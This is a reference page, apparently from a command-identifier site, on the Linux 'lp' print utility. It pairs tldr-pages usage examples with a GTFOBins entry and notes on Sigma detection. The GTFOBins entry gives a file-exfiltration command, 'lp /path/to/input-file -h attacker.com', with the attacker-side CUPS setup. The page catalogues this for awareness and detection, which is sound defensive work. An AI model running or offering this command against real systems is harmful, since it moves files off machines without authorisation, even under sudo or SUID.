Identifier / Programs / Linux and Unix
lp
Print files. tldr-pages
GTFOBins upload 1 documented command
How lp is abused
upload
-hEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for lp.
1 documented command
upload unprivileged, with sudo, as SUID
This requires cups to be installed. Run the following on the attacker box beforehand:
lpadmin -p printer -v socket://localhost -Eto create a virtual printer;lpadmin -d printerto set the new printer as default;cupsctl --remote-anyto enable printing from the Internet.
lp /path/to/input-file -h attacker.comIdentifyThe command the identifier reads trips no Sigma process-creation rule. This command is, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for lp. The identifier reads the line that runs lp.
Everyday use
Print the output of a command to the default printer (see lpstat command)
echo "test" | lpIdentifyPrint a file to the default printer
lp path/to/fileIdentifyPrint a file to a named printer (see lpstat command)
lp -d printer_name path/to/fileIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.